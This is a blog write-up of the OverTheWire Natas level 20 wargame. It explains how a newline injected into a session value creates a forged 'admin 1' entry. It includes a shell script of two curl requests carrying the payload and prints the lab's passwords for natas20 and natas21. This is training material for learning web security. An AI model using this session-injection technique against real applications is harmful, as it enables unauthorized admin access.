21 May 2021 - OverTheWire - Natas
website: http://natas20.natas.labs.overthewire.org/ (password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF)
In this challenge, the print_credentials()
reads as below:
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
As what we can see, in order to get the password for the next level, the session must contain a variable named “admin” and its value must be “1”.
According to the source code, to inject $_SESSION["admin"] = 1, one way is to take advantage of the function myread()
and mywrite()
:
function myread($sid) {
...
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
...
}
function mywrite($sid, $data) {
...
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
...
}
What myread()
does is to read a file line by line to restore all key/value for a session, and what mywrite()
does is to write key/value of a session into a file. Here the question is, what if the value contains a “\n” (i.e., a newline character)? Because there is no input validation, the function mywrite()
will write the “\n” into the file as well. For example, if the (key, value) pair is ("name", "admin\nadmin 1"), then two lines are written into the file: The 1st line is “name admin” and the 2nd line is “admin 1”. Later on when myread()
is invoked during session_start()
, it will read two lines and restore two session variables, which are:
Notice that the 2nd variable will hit the condition and prints out the password.
Here is how I cracked the password.
#!/bin/sh
curl -isu natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF "http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug" --cookie "PHPSESSID=hello"
sleep 1
curl -isu natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF "http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug" --cookie "PHPSESSID=hello"
I sent two requests to the web application. In both requests, I composed a special value for the parameter “name”, which is admin%0Aadmin%201. ‘%0A’ and ‘%20’ are the URL encode for the new line character and the space character.
Also, I used the same session ID in both requests. That’s because according to the source code, the name of the file which stores the $_SESSION
variables is named after a session ID. Running the above script, the first request will lead the application to create a file which contains two lines, which looks like below:
name admin
admin 1
Once the second request is received, it will lead the application to read the file and restore the $_SESSION
variables. The result shows that the password for natas21 is IFekPyrQXftziDEsUr3x21sYuahypdgJ.
REFERENCE
Here is a reference from the PHP manual about what happens when session_start()
is invoked:
For more details, please refer to this link.
«Prev | More About | Next» |
---|---|---|
Inter-process communication - Part 3 | OverTheWire - Natas | Natas21 - Session Management Part 4 |